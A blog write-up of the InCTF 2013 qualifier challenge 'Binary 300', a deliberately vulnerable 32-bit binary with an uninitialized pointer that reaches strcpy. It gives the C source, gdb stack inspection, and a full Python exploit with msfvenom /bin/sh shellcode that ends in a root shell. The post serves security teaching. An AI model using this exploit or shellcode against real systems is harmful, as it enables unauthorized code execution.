Wednesday, June 12, 2013

InCTF 2013 Quals - Binary 300

This is a challenge that we set for InCTF Quals, a national level contest for students. We had a ELF 32-bit LSB executable, running on a 64-bit machine. The source code was provided to the participants. Since we had only few solvers, I thought of making a writeup
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void two() {
    char buf[1024];
    char *pass;
    char *fail = NULL;
    if(pass)
        strcpy(buf, pass);
}

void one(char *arg) {
    char buf[4096];
    memset(buf, 0x00, sizeof(buf));
    strncpy(buf, arg, sizeof(buf)-1);
}

int main(int argc, char **argv) {
    if(argc != 2)
        exit(-1);
    one(argv[1]);
    two();
    return 0;
}
Both ASLR and NX were turned off. Vulnerability is easy to spot from code

[*] When function one() is called stack is filled with argv[1], this content remains in stack
[*] Function two() has an uninitialized pointer. This pointer is initialized with content already present in stack
[*] By controlling the value of uninitialized pointer, we can overwrite saved EIP using the strcpy() call

One can view the stack address as:
Breakpoint 1, 0x08048536 in main ()
(gdb) info program 
 Using the running image of child process 11166.
Program stopped at 0x8048536.
It stopped at breakpoint 1.
(gdb) shell cat /proc/11166/maps
........................................
f7fe0000-f7fe1000 rwxp 00000000 00:00 0 
f7ffc000-f7ffd000 rwxp 00000000 00:00 0 
f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffe9000-ffffe000 rwxp 00000000 00:00 0                                  [stack]
Since ASLR is disabled we can exactly compute the address of shellcode in stack. There is a interesting point, though the binary was compiled as 32-bit using gcc -m32 flag in 64-bit operating system, the size of void pointer pushed into stack is still of size 8 bytes instead of 4 bytes.
(gdb) x/2wx 0xffffe000-0x8
0xffffdff8: 0x00000000 0x00000000
With the above information we can build the exploit to get shell
#!/usr/bin/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xd9\xc6\xb8\x76\xee\x8c\x5a\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x31\x46\x1a\x83\xee\xfc\x03\x46\x16\xe2\x83\x84" +
             "\x87\x02\xf2\x0b\xfe\xda\x29\xcf\x77\xfd\x59\x20\xfb\x6a" +
             "\x99\x56\xd4\x08\xf0\xc8\xa3\x2e\x50\xfd\xbc\xb0\x54\xfd" +
             "\x93\xd2\x3d\x93\xc4\x61\xd5\x6b\x4c\xd5\xac\x8d\xbf\x59" )

vuln = "./bin300"

shell_addr = 0xffffe000 - 0x8 - len(vuln) - len(shellcode) - 0x2
two_buf = "A"*1024 + struct.pack("<I",shell_addr) * 50

env_var = two_buf + shellcode
two_buf_addr = 0xffffe000 - 0x8 - len(vuln) - len(env_var) - 0x2
arg = struct.pack("<I",two_buf_addr) * 1024

env = {"":env_var}

os.execve(vuln,[vuln,arg],env)
[ctf@renorobert InCTF]$ python bin300.py 
sh-4.1#

No comments :

Post a Comment